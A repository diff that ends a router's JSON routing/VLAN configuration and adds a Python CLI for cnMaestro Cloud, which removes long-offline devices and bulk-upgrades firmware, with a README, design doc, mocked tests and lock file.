"mac": "F4:1E:57:6B:41:C6",
"comment": "",
"mtu": "auto"
},
{
"name": "vlan10_sfp-sfpplus1",
"type": "vlan",
"mac": "F4:1E:57:6B:41:D0",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan10_ether7",
"vlan_id": 10,
"interface": "ether7-switch"
},
{
"name": "vlan10_sfp-sfpplus1",
"vlan_id": 10,
"interface": "sfp-sfpplus1"
}
],
"pppoe_servers": [
{
"service_name": "Climax",
"interface": "climax-bridge"
}
],
"routes": [
{
"destination": "10.10.0.0/20",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "10.10.80.0/20",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.64/29",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.101/32",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.111/32",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "100.10.160.0/20",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.0.0/22",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.160.0/20",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.64/27",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.224/27",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.191.0/27",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
}
]
}

8
cnmaestro/.env.example Normal file
View file

@ -0,0 +1,8 @@
# cnMaestro Cloud API credentials
# Each tenant has its own regional subdomain; check the URL bar when
# logged in to cnMaestro and copy the scheme + host (everything before
# the first "/#/").
# Example: https://us-e1-s1-cmjbcvncy6.cloud.cambiumnetworks.com
CNMAESTRO_BASE_URL=https://us-e1-s1-cmjbcvncy6.cloud.cambiumnetworks.com
CNMAESTRO_CLIENT_ID=your-client-id-here
CNMAESTRO_CLIENT_SECRET=your-client-secret-here

10
cnmaestro/.gitignore vendored Normal file
View file

@ -0,0 +1,10 @@
.env
.venv/
__pycache__/
*.pyc
.pytest_cache/
cnmaestro.log
dist/
build/
*.egg-info/
.uv-cache/

91
cnmaestro/README.md Normal file
View file

@ -0,0 +1,91 @@
# cnmaestro CLI
Cleanup offline devices and bulk-upgrade firmware on a cnMaestro Cloud
instance (cloud.cambiumnetworks.com).
## Setup
### 1. Find your tenant's API base URL
Each cnMaestro Cloud tenant lives on a regional subdomain. Log in to
your tenant in a browser and copy the scheme + host portion of the
URL — everything before the first `/#/`. Example:
```
https://us-e1-s1-cmjbcvncy6.cloud.cambiumnetworks.com/#/VERONA_NETWORKS/home-view/home
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
this is your CNMAESTRO_BASE_URL
```
### 2. Create an API client
1. While logged in, go to the menu (top-right gear/avatar) →
**Application** (or **Services**) → **API Clients**.
2. Click **Add New** (or **Add API Client**).
3. Give it a name (e.g. `cnmaestro-cli`). Grant a role that has at
minimum:
- Read access to devices and firmware.
- Delete access to devices.
- Permission to create firmware-update jobs.
The built-in **Administrator** role covers all three.
4. Save and copy the **Client ID** and **Client Secret**. The secret
is shown only once.
### 3. Install
```bash
cd /Users/graham/dev/network/cnmaestro
uv sync
cp .env.example .env
# edit .env with your client id + secret
```
### 4. Smoke-test
```bash
uv run cnmaestro cleanup --dry-run
```
This authenticates, lists devices, and prints what *would* be removed
without actually removing anything.
## Usage
### Remove devices offline > 24h
```bash
uv run cnmaestro cleanup # interactive, asks before deleting
uv run cnmaestro cleanup --threshold-hours 48 # custom threshold
uv run cnmaestro cleanup --yes # non-interactive (cron)
uv run cnmaestro cleanup --dry-run # just print, never delete
```
### Bulk-upgrade online devices to latest firmware per model
```bash
uv run cnmaestro upgrade # interactive
uv run cnmaestro upgrade --product ePMP,PMP # only these products
uv run cnmaestro upgrade --yes # non-interactive
uv run cnmaestro upgrade --dry-run # show planned jobs only
```
The upgrade command groups devices by `(product, target_version)` and
submits one bulk firmware job per group (cnMaestro caps each job at
100 devices, so larger groups are chunked).
## Safety
- Both commands default to interactive confirmation.
- `cleanup` refuses to run if more than 50 % of the fleet would be
removed; pass `--force` to override.
- Every destructive call (delete, job-submit) is appended to
`./cnmaestro.log` for audit.
- The OAuth2 token is held in memory only.
## Tests
```bash
uv run pytest
```
All HTTP is mocked with `respx`; tests never touch the live API.

View file

@ -0,0 +1,3 @@
"""cnMaestro Cloud CLI."""
__version__ = "0.1.0"

252
cnmaestro/cnmaestro/cli.py Normal file
View file

@ -0,0 +1,252 @@
"""Click CLI: cleanup + upgrade commands."""
from __future__ import annotations
import logging
import sys
from datetime import datetime, timezone
from pathlib import Path
import click
from dotenv import load_dotenv
from rich.console import Console
from rich.progress import Progress
from rich.table import Table
from .client import CnMaestroClient, CnMaestroError
from .devices import (
Device,
delete_device,
list_devices,
partition_for_cleanup,
)
from .firmware import (
list_firmware,
plan_upgrades,
submit_upgrade,
)
LOG_PATH = Path("cnmaestro.log")
console = Console()
def _setup_audit_log() -> logging.Logger:
log = logging.getLogger("cnmaestro.audit")
if log.handlers:
return log
log.setLevel(logging.INFO)
handler = logging.FileHandler(LOG_PATH)
handler.setFormatter(
logging.Formatter("%(asctime)s %(levelname)s %(message)s")
)
log.addHandler(handler)
return log
def _fmt_last_sync(d: Device) -> str:
if d.last_sync is None:
return "[red]never[/red]"
delta = datetime.now(tz=timezone.utc) - d.last_sync
if delta.days >= 1:
return f"{delta.days}d ago"
hours = delta.seconds // 3600
mins = (delta.seconds % 3600) // 60
if hours:
return f"{hours}h{mins:02d}m ago"
return f"{mins}m ago"
def _render_cleanup_table(devices: list[Device], title: str) -> Table:
table = Table(title=title, show_lines=False)
table.add_column("Name")
table.add_column("MAC")
table.add_column("Product")
table.add_column("Last sync")
table.add_column("Tower")
for d in sorted(devices, key=lambda x: (x.product, x.name)):
table.add_row(
d.name,
d.mac,
d.product,
_fmt_last_sync(d),
d.tower or "-",
)
return table
@click.group()
def main() -> None:
"""cnMaestro Cloud CLI."""
load_dotenv()
@main.command()
@click.option(
"--threshold-hours", type=float, default=24.0, show_default=True,
help="Devices offline at least this long are removal candidates.",
)
@click.option("--dry-run", is_flag=True, help="Show plan, do not delete.")
@click.option("--yes", is_flag=True, help="Skip confirmation prompt.")
@click.option(
"--force", is_flag=True,
help="Override the >50%-of-fleet sanity check.",
)
def cleanup(threshold_hours: float, dry_run: bool, yes: bool, force: bool) -> None:
"""Remove devices offline > threshold and never-synced devices."""
audit = _setup_audit_log()
try:
with CnMaestroClient() as client:
console.print("Fetching device inventory...")
devices = list_devices(client)
partition = partition_for_cleanup(devices, threshold_hours)
candidates = partition.candidates
console.print(
f"\n[bold]Fleet:[/bold] {partition.total} devices "
f"([green]{len(partition.online)} online[/green], "
f"[yellow]{len(partition.offline_recent)} offline (recent)[/yellow], "
f"[red]{len(partition.offline_stale)} offline >{threshold_hours:g}h[/red], "
f"[red]{len(partition.never_synced)} never-synced[/red])"
)
if not candidates:
console.print("[green]Nothing to remove.[/green]")
return
console.print(_render_cleanup_table(candidates, "Removal candidates"))
console.print(
f"[bold red]Will remove {len(candidates)} devices[/bold red] "
f"({len(partition.offline_stale)} offline-stale, "
f"{len(partition.never_synced)} never-synced)."
)
ratio = len(candidates) / partition.total if partition.total else 0
if ratio > 0.5 and not force:
console.print(
f"[red]Refusing: {ratio:.0%} of the fleet would be deleted. "
f"Pass --force to override.[/red]"
)
sys.exit(2)
if dry_run:
console.print("[yellow]--dry-run: no changes made.[/yellow]")
return
if not yes and not click.confirm("Proceed with deletion?", default=False):
console.print("Aborted.")
return
failures: list[tuple[Device, str]] = []
with Progress() as progress:
task = progress.add_task("Deleting", total=len(candidates))
for d in candidates:
try:
delete_device(client, d.mac)
audit.info(
"DELETE device mac=%s name=%s product=%s",
d.mac, d.name, d.product,
)
except CnMaestroError as e:
failures.append((d, str(e)))
audit.error("DELETE failed mac=%s err=%s", d.mac, e)
progress.update(task, advance=1)
console.print(
f"[green]Deleted {len(candidates) - len(failures)}[/green]"
+ (f", [red]{len(failures)} failed[/red]" if failures else "")
)
for d, err in failures:
console.print(f" [red]✗ {d.mac} {d.name}: {err}[/red]")
except CnMaestroError as e:
console.print(f"[red]Error:[/red] {e}")
sys.exit(1)
@main.command()
@click.option("--dry-run", is_flag=True, help="Show plan, do not submit jobs.")
@click.option("--yes", is_flag=True, help="Skip confirmation prompt.")
@click.option(
"--product", default=None,
help="Comma-separated product types to include (e.g. ePMP,PMP,cnMatrix).",
)
def upgrade(dry_run: bool, yes: bool, product: str | None) -> None:
"""Submit firmware-upgrade jobs to bring online devices to latest."""
audit = _setup_audit_log()
products_filter = (
{p.strip() for p in product.split(",") if p.strip()} if product else None
)
try:
with CnMaestroClient() as client:
console.print("Fetching devices and firmware images...")
devices = list_devices(client)
images = list_firmware(client)
groups = plan_upgrades(devices, images, products_filter=products_filter)
online_count = sum(1 for d in devices if d.is_online)
console.print(
f"[bold]Online devices:[/bold] {online_count}; "
f"[bold]upgrade groups:[/bold] {len(groups)}"
)
if not groups:
console.print("[green]All eligible devices are already up to date.[/green]")
return
table = Table(title="Planned firmware jobs")
table.add_column("Product")
table.add_column("Target version")
table.add_column("Package")
table.add_column("Devices", justify="right")
total_devices = 0
for g in groups:
table.add_row(
g.product,
g.target.version,
g.target.name,
str(len(g.devices)),
)
total_devices += len(g.devices)
console.print(table)
console.print(
f"[bold]Total devices to upgrade:[/bold] {total_devices}"
)
if dry_run:
console.print("[yellow]--dry-run: no jobs submitted.[/yellow]")
return
if not yes and not click.confirm(
"Submit firmware jobs?", default=False
):
console.print("Aborted.")
return
for g in groups:
console.print(
f"Submitting {g.product}{g.target.version} "
f"({len(g.devices)} devices)..."
)
try:
results = submit_upgrade(client, g)
for r in results:
job_id = (
r.get("job_id") or r.get("id") or r.get("data", {}).get("id")
)
console.print(f" [green]job submitted[/green] id={job_id}")
audit.info(
"UPGRADE job product=%s target=%s devices=%d job_id=%s",
g.product, g.target.version, len(g.devices), job_id,
)
except CnMaestroError as e:
console.print(f" [red]✗ failed: {e}[/red]")
audit.error(
"UPGRADE job failed product=%s target=%s err=%s",
g.product, g.target.version, e,
)
except CnMaestroError as e:
console.print(f"[red]Error:[/red] {e}")
sys.exit(1)
if __name__ == "__main__":
main()

View file

@ -0,0 +1,156 @@
"""HTTP client for cnMaestro Cloud v2 API.
Handles OAuth2 client_credentials auth (with in-memory token cache and
on-401 refresh) and paginated GETs.
"""
from __future__ import annotations
import logging
import os
from collections.abc import Iterator
from typing import Any
import httpx
log = logging.getLogger(__name__)
DEFAULT_PAGE_SIZE = 100
class CnMaestroError(RuntimeError):
"""Raised on API errors."""
class CnMaestroClient:
"""Synchronous client for cnMaestro Cloud v2 API."""
def __init__(
self,
base_url: str | None = None,
client_id: str | None = None,
client_secret: str | None = None,
timeout: float = 30.0,
) -> None:
self.base_url = (
base_url or os.environ.get("CNMAESTRO_BASE_URL") or ""
).rstrip("/")
self.client_id = client_id or os.environ.get("CNMAESTRO_CLIENT_ID")
self.client_secret = client_secret or os.environ.get("CNMAESTRO_CLIENT_SECRET")
if not self.base_url:
raise CnMaestroError(
"Missing CNMAESTRO_BASE_URL. Copy .env.example to .env and set it "
"to your tenant's URL (e.g. https://us-e1-s1-XXXX.cloud.cambiumnetworks.com)."
)
if not self.client_id or not self.client_secret:
raise CnMaestroError(
"Missing CNMAESTRO_CLIENT_ID / CNMAESTRO_CLIENT_SECRET. "
"Copy .env.example to .env and fill in your API client."
)
self._http = httpx.Client(base_url=self.base_url, timeout=timeout)
self._token: str | None = None
def close(self) -> None:
self._http.close()
def __enter__(self) -> CnMaestroClient:
return self
def __exit__(self, *exc: object) -> None:
self.close()
def _fetch_token(self) -> str:
log.debug("Fetching new OAuth2 token")
resp = self._http.post(
"/api/v2/access/token",
data={"grant_type": "client_credentials"},
auth=(self.client_id, self.client_secret), # type: ignore[arg-type]
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
if resp.status_code != 200:
raise CnMaestroError(
f"Token request failed: {resp.status_code} {resp.text}"
)
body = resp.json()
token = body.get("access_token")
if not token:
raise CnMaestroError(f"Token response missing access_token: {body}")
return token
def _auth_headers(self) -> dict[str, str]:
if self._token is None:
self._token = self._fetch_token()
return {"Authorization": f"Bearer {self._token}"}
def _request(
self,
method: str,
path: str,
*,
params: dict[str, Any] | None = None,
json: Any = None,
) -> httpx.Response:
"""Send request, refreshing token once on 401."""
for attempt in (1, 2):
resp = self._http.request(
method,
path,
params=params,
json=json,
headers=self._auth_headers(),
)
if resp.status_code == 401 and attempt == 1:
log.debug("401 received; refreshing token and retrying")
self._token = None
continue
return resp
return resp # unreachable
def get(self, path: str, params: dict[str, Any] | None = None) -> Any:
resp = self._request("GET", path, params=params)
if resp.status_code >= 400:
raise CnMaestroError(f"GET {path}{resp.status_code} {resp.text}")
return resp.json()
def delete(self, path: str) -> None:
resp = self._request("DELETE", path)
if resp.status_code >= 400:
raise CnMaestroError(f"DELETE {path}{resp.status_code} {resp.text}")
def post(self, path: str, payload: Any) -> Any:
resp = self._request("POST", path, json=payload)
if resp.status_code >= 400:
raise CnMaestroError(f"POST {path}{resp.status_code} {resp.text}")
if resp.content:
return resp.json()
return None
def paginated(
self,
path: str,
params: dict[str, Any] | None = None,
page_size: int = DEFAULT_PAGE_SIZE,
) -> Iterator[dict[str, Any]]:
"""Yield items from a paginated endpoint.
cnMaestro v2 returns ``{"data": [...], "paging": {"total": N}}``.
"""
offset = 0
params = dict(params or {})
while True:
params.update({"limit": page_size, "offset": offset})
body = self.get(path, params=params)
items = body.get("data", []) if isinstance(body, dict) else []
if not items:
return
yield from items
offset += len(items)
total = (
body.get("paging", {}).get("total")
if isinstance(body, dict)
else None
)
if total is not None and offset >= total:
return
if len(items) < page_size:
return

View file

@ -0,0 +1,122 @@
"""Device listing, partitioning, and deletion."""
from __future__ import annotations
from dataclasses import dataclass
from datetime import datetime, timedelta, timezone
from typing import Any
from .client import CnMaestroClient
@dataclass(frozen=True)
class Device:
mac: str
name: str
product: str
status: str # "online" | "offline" | other
last_sync: datetime | None
software_version: str | None
tower: str | None
network: str | None
raw: dict[str, Any]
@property
def is_online(self) -> bool:
return self.status.lower() == "online"
@property
def never_synced(self) -> bool:
return self.last_sync is None
def _parse_last_sync(value: Any) -> datetime | None:
"""Parse cnMaestro last_sync (epoch ms or ISO 8601)."""
if value in (None, "", 0):
return None
if isinstance(value, (int, float)):
# cnMaestro uses epoch milliseconds
return datetime.fromtimestamp(value / 1000, tz=timezone.utc)
if isinstance(value, str):
try:
# try epoch first
return datetime.fromtimestamp(int(value) / 1000, tz=timezone.utc)
except ValueError:
pass
try:
return datetime.fromisoformat(value.replace("Z", "+00:00"))
except ValueError:
return None
return None
def device_from_api(d: dict[str, Any]) -> Device:
return Device(
mac=d.get("mac", "").upper(),
name=d.get("name") or d.get("hostname") or "(unnamed)",
product=d.get("product") or d.get("product_type") or "unknown",
status=str(d.get("status", "")),
last_sync=_parse_last_sync(
d.get("last_sync") or d.get("last_seen") or d.get("status_time")
),
software_version=d.get("software_version") or d.get("sw_version"),
tower=d.get("tower"),
network=d.get("network"),
raw=d,
)
def list_devices(client: CnMaestroClient) -> list[Device]:
return [device_from_api(d) for d in client.paginated("/api/v2/devices")]
@dataclass
class CleanupPartition:
online: list[Device]
offline_recent: list[Device]
offline_stale: list[Device]
never_synced: list[Device]
@property
def candidates(self) -> list[Device]:
return self.offline_stale + self.never_synced
@property
def total(self) -> int:
return (
len(self.online)
+ len(self.offline_recent)
+ len(self.offline_stale)
+ len(self.never_synced)
)
def partition_for_cleanup(
devices: list[Device], threshold_hours: float, now: datetime | None = None
) -> CleanupPartition:
now = now or datetime.now(tz=timezone.utc)
cutoff = now - timedelta(hours=threshold_hours)
online: list[Device] = []
offline_recent: list[Device] = []
offline_stale: list[Device] = []
never_synced: list[Device] = []
for d in devices:
if d.is_online:
online.append(d)
continue
if d.last_sync is None:
never_synced.append(d)
elif d.last_sync < cutoff:
offline_stale.append(d)
else:
offline_recent.append(d)
return CleanupPartition(
online=online,
offline_recent=offline_recent,
offline_stale=offline_stale,
never_synced=never_synced,
)
def delete_device(client: CnMaestroClient, mac: str) -> None:
client.delete(f"/api/v2/devices/{mac}")

View file

@ -0,0 +1,112 @@
"""Firmware image discovery and bulk upgrade job submission."""
from __future__ import annotations
import re
from collections import defaultdict
from dataclasses import dataclass
from typing import Any
from .client import CnMaestroClient
from .devices import Device
JOB_BATCH_SIZE = 100
@dataclass(frozen=True)
class FirmwareImage:
product: str
version: str
name: str # package name to send in job payload
raw: dict[str, Any]
def _parse_version(v: str) -> tuple[int, ...]:
"""Loose semver-ish parser. Non-numeric parts sort lower than numeric."""
parts = re.split(r"[._\-+]", v)
out: list[int] = []
for p in parts:
m = re.match(r"^(\d+)", p)
if m:
out.append(int(m.group(1)))
else:
out.append(-1)
return tuple(out) if out else (-1,)
def list_firmware(client: CnMaestroClient) -> list[FirmwareImage]:
body = client.get("/api/v2/firmware")
items = body.get("data", []) if isinstance(body, dict) else body or []
images: list[FirmwareImage] = []
for f in items:
product = f.get("product") or f.get("product_type") or "unknown"
version = f.get("version") or f.get("software_version") or ""
name = f.get("package") or f.get("name") or version
if not version:
continue
images.append(
FirmwareImage(product=product, version=version, name=name, raw=f)
)
return images
def latest_per_product(images: list[FirmwareImage]) -> dict[str, FirmwareImage]:
"""Return the highest-version image per product."""
best: dict[str, FirmwareImage] = {}
for img in images:
cur = best.get(img.product)
if cur is None or _parse_version(img.version) > _parse_version(cur.version):
best[img.product] = img
return best
@dataclass
class UpgradeGroup:
product: str
target: FirmwareImage
devices: list[Device]
def plan_upgrades(
devices: list[Device],
images: list[FirmwareImage],
products_filter: set[str] | None = None,
) -> list[UpgradeGroup]:
"""Build upgrade groups for online devices not already on the latest."""
targets = latest_per_product(images)
by_product: dict[str, list[Device]] = defaultdict(list)
for d in devices:
if not d.is_online:
continue
if products_filter and d.product not in products_filter:
continue
target = targets.get(d.product)
if target is None:
continue
if d.software_version and _parse_version(d.software_version) >= _parse_version(
target.version
):
continue
by_product[d.product].append(d)
groups: list[UpgradeGroup] = []
for product, devs in by_product.items():
groups.append(
UpgradeGroup(product=product, target=targets[product], devices=devs)
)
return groups
def chunked(seq: list[Any], size: int) -> list[list[Any]]:
return [seq[i : i + size] for i in range(0, len(seq), size)]
def submit_upgrade(
client: CnMaestroClient, group: UpgradeGroup
) -> list[dict[str, Any]]:
"""Submit one or more firmware jobs for the group (chunked)."""
results: list[dict[str, Any]] = []
for batch in chunked([d.mac for d in group.devices], JOB_BATCH_SIZE):
payload = {"devices": batch, "package": group.target.name}
resp = client.post("/api/v2/devices/jobs/firmware", payload) or {}
results.append(resp)
return results

View file

@ -0,0 +1,94 @@
# cnMaestro Cleanup + Bulk Firmware Upgrade Tool
**Date:** 2026-05-09
**Status:** Approved, implementation starting
## Goal
Build a Python CLI for cnMaestro Cloud (cloud.cambiumnetworks.com) that:
1. Removes devices offline for > 24 hours (configurable threshold).
2. Submits bulk firmware upgrade jobs to bring online devices to the latest
firmware available for their model.
## Non-Goals
- NetBox sync (separate concern).
- Daemon/scheduling (use cron + `--yes`).
- Firmware rollback (cnMaestro handles).
- Custom firmware uploads (use cnMaestro UI).
## Architecture
```
cnmaestro/
├── README.md # Setup, API client creation, usage
├── .env.example # CNMAESTRO_CLIENT_ID / _SECRET / _BASE_URL
├── pyproject.toml # uv project
├── cnmaestro/
│ ├── __init__.py
│ ├── client.py # OAuth2 + paginated httpx wrapper
│ ├── devices.py # list, partition, delete
│ ├── firmware.py # latest-per-model, job submission
│ └── cli.py # click CLI
└── tests/
├── test_client.py
├── test_devices.py
└── test_firmware.py
```
## API Reference (cnMaestro Cloud v2)
- **Auth:** `POST /api/v2/access/token` with `client_credentials` grant →
bearer token. Cache in-memory, re-fetch on 401.
- **List devices:** `GET /api/v2/devices?limit=100&offset=N`. Key fields:
`mac`, `name`, `network`, `tower`, `status` ("online"/"offline"),
`last_sync` (epoch ms or ISO 8601), `product`, `software_version`.
- **Delete device:** `DELETE /api/v2/devices/{mac}`.
- **Firmware images:** `GET /api/v2/firmware`. Returns image metadata
with `product` and `version` fields per image.
- **Submit job:** `POST /api/v2/devices/jobs/firmware` with
`{ "devices": ["MAC", ...], "package": "<image-name-or-version>" }`.
Limit 100 MACs per job.
## Behavior
### `cnmaestro cleanup [--dry-run] [--yes] [--threshold-hours 24] [--force]`
1. Fetch all devices (paginated).
2. Partition: online / offline-recent / offline >24h / never-synced.
3. Removal candidates = offline >24h never-synced.
4. Render `rich` table: name, MAC, product, last_sync, tower.
5. Show counts. If candidates > 50% of fleet, refuse unless `--force`.
6. Prompt; on confirm, DELETE each with progress bar; collect failures.
### `cnmaestro upgrade [--dry-run] [--yes] [--product P1,P2,...]`
1. Fetch all devices, keep `status=online`.
2. Fetch firmware images list.
3. For each product, pick highest semver as target.
4. Build groups `(product, target_version) → [mac, ...]` for devices
where `software_version != target`.
5. Render summary table.
6. Prompt; submit one POST per group, chunked to 100 MACs. Print job IDs.
## Safety Rails
- Default to dry-run summary + interactive confirm.
- 50%-of-fleet sanity check on cleanup.
- Token never persisted.
- All destructive ops appended to `./cnmaestro.log` (timestamped).
- Tests use `respx` to mock httpx; CI never hits live API.
## Testing Strategy
- Unit tests for partition logic (no HTTP).
- Unit tests for "latest version per model" with fixture firmware list.
- HTTP-mocked tests for client pagination, 401 retry, delete.
- No live API tests in CI.
## Setup (User)
1. Log into cloud.cambiumnetworks.com.
2. Manage Services → API Clients → Add Client.
3. Copy client ID + secret into `.env`.
4. `uv sync && uv run cnmaestro cleanup --dry-run` to validate.

32
cnmaestro/pyproject.toml Normal file
View file

@ -0,0 +1,32 @@
[project]
name = "cnmaestro"
version = "0.1.0"
description = "CLI for cnMaestro Cloud: offline-device cleanup + bulk firmware upgrades"
requires-python = ">=3.11"
dependencies = [
"httpx>=0.27",
"click>=8.1",
"rich>=13.7",
"python-dotenv>=1.0",
]
[project.scripts]
cnmaestro = "cnmaestro.cli:main"
[dependency-groups]
dev = [
"pytest>=8",
"respx>=0.21",
"pytest-asyncio>=0.23",
]
[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"
[tool.hatch.build.targets.wheel]
packages = ["cnmaestro"]
[tool.pytest.ini_options]
testpaths = ["tests"]
asyncio_mode = "auto"

View file

View file

@ -0,0 +1,87 @@
"""Tests for HTTP client (mocked)."""
import httpx
import pytest
import respx
from cnmaestro.client import CnMaestroClient, CnMaestroError
BASE = "https://example.test"
@pytest.fixture
def client(monkeypatch):
monkeypatch.setenv("CNMAESTRO_BASE_URL", BASE)
monkeypatch.setenv("CNMAESTRO_CLIENT_ID", "id")
monkeypatch.setenv("CNMAESTRO_CLIENT_SECRET", "secret")
c = CnMaestroClient()
yield c
c.close()
@respx.mock
def test_token_fetched_on_first_call(client):
respx.post(f"{BASE}/api/v2/access/token").mock(
return_value=httpx.Response(200, json={"access_token": "T1"})
)
respx.get(f"{BASE}/api/v2/devices").mock(
return_value=httpx.Response(200, json={"data": [], "paging": {"total": 0}})
)
list(client.paginated("/api/v2/devices"))
assert client._token == "T1"
@respx.mock
def test_401_triggers_refresh(client):
token_route = respx.post(f"{BASE}/api/v2/access/token").mock(
side_effect=[
httpx.Response(200, json={"access_token": "T1"}),
httpx.Response(200, json={"access_token": "T2"}),
]
)
respx.get(f"{BASE}/api/v2/devices").mock(
side_effect=[
httpx.Response(401),
httpx.Response(200, json={"data": [], "paging": {"total": 0}}),
]
)
list(client.paginated("/api/v2/devices"))
assert token_route.call_count == 2
assert client._token == "T2"
@respx.mock
def test_paginated_walks_offsets(client):
respx.post(f"{BASE}/api/v2/access/token").mock(
return_value=httpx.Response(200, json={"access_token": "T"})
)
page1 = [{"mac": f"M{i}"} for i in range(100)]
page2 = [{"mac": f"M{i}"} for i in range(100, 150)]
respx.get(f"{BASE}/api/v2/devices", params={"limit": 100, "offset": 0}).mock(
return_value=httpx.Response(200, json={"data": page1, "paging": {"total": 150}})
)
respx.get(f"{BASE}/api/v2/devices", params={"limit": 100, "offset": 100}).mock(
return_value=httpx.Response(200, json={"data": page2, "paging": {"total": 150}})
)
items = list(client.paginated("/api/v2/devices"))
assert len(items) == 150
@respx.mock
def test_delete_propagates_error(client):
respx.post(f"{BASE}/api/v2/access/token").mock(
return_value=httpx.Response(200, json={"access_token": "T"})
)
respx.delete(f"{BASE}/api/v2/devices/AA:BB").mock(
return_value=httpx.Response(404, text="not found")
)
with pytest.raises(CnMaestroError):
client.delete("/api/v2/devices/AA:BB")
def test_missing_credentials_raises(monkeypatch):
monkeypatch.delenv("CNMAESTRO_CLIENT_ID", raising=False)
monkeypatch.delenv("CNMAESTRO_CLIENT_SECRET", raising=False)
with pytest.raises(CnMaestroError):
CnMaestroClient()

View file

@ -0,0 +1,71 @@
"""Tests for device partitioning and parsing."""
from datetime import datetime, timedelta, timezone
from cnmaestro.devices import (
_parse_last_sync,
device_from_api,
partition_for_cleanup,
)
NOW = datetime(2026, 5, 9, 12, 0, tzinfo=timezone.utc)
def make(mac, status, last_sync, **extra):
return device_from_api(
{"mac": mac, "name": f"d-{mac}", "product": extra.pop("product", "ePMP"),
"status": status, "last_sync": last_sync, **extra}
)
def test_parse_last_sync_epoch_ms():
dt = _parse_last_sync(1715000000000)
assert dt is not None
assert dt.tzinfo is not None
def test_parse_last_sync_iso():
dt = _parse_last_sync("2026-05-08T12:00:00Z")
assert dt == datetime(2026, 5, 8, 12, 0, tzinfo=timezone.utc)
def test_parse_last_sync_none():
assert _parse_last_sync(None) is None
assert _parse_last_sync("") is None
assert _parse_last_sync(0) is None
def test_partition_buckets():
online_d = make("AA:01", "online", int((NOW - timedelta(minutes=5)).timestamp() * 1000))
recent_d = make("AA:02", "offline", int((NOW - timedelta(hours=1)).timestamp() * 1000))
stale_d = make("AA:03", "offline", int((NOW - timedelta(days=3)).timestamp() * 1000))
never_d = make("AA:04", "offline", None)
p = partition_for_cleanup(
[online_d, recent_d, stale_d, never_d],
threshold_hours=24,
now=NOW,
)
assert [d.mac for d in p.online] == ["AA:01"]
assert [d.mac for d in p.offline_recent] == ["AA:02"]
assert [d.mac for d in p.offline_stale] == ["AA:03"]
assert [d.mac for d in p.never_synced] == ["AA:04"]
assert {d.mac for d in p.candidates} == {"AA:03", "AA:04"}
assert p.total == 4
def test_partition_threshold_boundary():
"""A device offline exactly at the threshold is not yet stale."""
just_under = make(
"AA:05", "offline",
int((NOW - timedelta(hours=23, minutes=59)).timestamp() * 1000),
)
just_over = make(
"AA:06", "offline",
int((NOW - timedelta(hours=24, minutes=1)).timestamp() * 1000),
)
p = partition_for_cleanup([just_under, just_over], threshold_hours=24, now=NOW)
assert [d.mac for d in p.offline_recent] == ["AA:05"]
assert [d.mac for d in p.offline_stale] == ["AA:06"]

View file

@ -0,0 +1,74 @@
"""Tests for firmware planning."""
from cnmaestro.devices import device_from_api
from cnmaestro.firmware import (
FirmwareImage,
_parse_version,
chunked,
latest_per_product,
plan_upgrades,
)
def img(product, version, name=None):
return FirmwareImage(
product=product, version=version, name=name or version, raw={}
)
def test_parse_version_orders():
assert _parse_version("4.7.0") < _parse_version("4.7.1")
assert _parse_version("4.7.0") < _parse_version("4.8.0")
assert _parse_version("4.7.0") < _parse_version("5.0.0")
def test_latest_per_product():
images = [
img("ePMP", "4.7.0"),
img("ePMP", "4.7.1"),
img("ePMP", "4.6.2"),
img("PMP", "20.3.1"),
img("PMP", "20.3.2"),
]
latest = latest_per_product(images)
assert latest["ePMP"].version == "4.7.1"
assert latest["PMP"].version == "20.3.2"
def test_plan_upgrades_skips_up_to_date_and_offline():
devices = [
device_from_api({"mac": "A1", "product": "ePMP", "status": "online",
"software_version": "4.7.0"}),
device_from_api({"mac": "A2", "product": "ePMP", "status": "online",
"software_version": "4.7.1"}), # already latest
device_from_api({"mac": "A3", "product": "ePMP", "status": "offline",
"software_version": "4.7.0"}), # offline, skip
device_from_api({"mac": "B1", "product": "PMP", "status": "online",
"software_version": "20.3.0"}),
]
images = [img("ePMP", "4.7.1"), img("PMP", "20.3.2")]
groups = plan_upgrades(devices, images)
macs_by_product = {g.product: {d.mac for d in g.devices} for g in groups}
assert macs_by_product == {"ePMP": {"A1"}, "PMP": {"B1"}}
def test_plan_upgrades_product_filter():
devices = [
device_from_api({"mac": "A1", "product": "ePMP", "status": "online",
"software_version": "4.7.0"}),
device_from_api({"mac": "B1", "product": "PMP", "status": "online",
"software_version": "20.3.0"}),
]
images = [img("ePMP", "4.7.1"), img("PMP", "20.3.2")]
groups = plan_upgrades(devices, images, products_filter={"ePMP"})
assert len(groups) == 1
assert groups[0].product == "ePMP"
def test_chunked():
assert chunked([1, 2, 3, 4, 5], 2) == [[1, 2], [3, 4], [5]]
assert chunked(list(range(250)), 100) == [
list(range(0, 100)),
list(range(100, 200)),
list(range(200, 250)),
]

254
cnmaestro/uv.lock generated Normal file
View file

@ -0,0 +1,254 @@
version = 1
revision = 3
requires-python = ">=3.11"
[[package]]
name = "anyio"
version = "4.13.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "idna" },
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
]
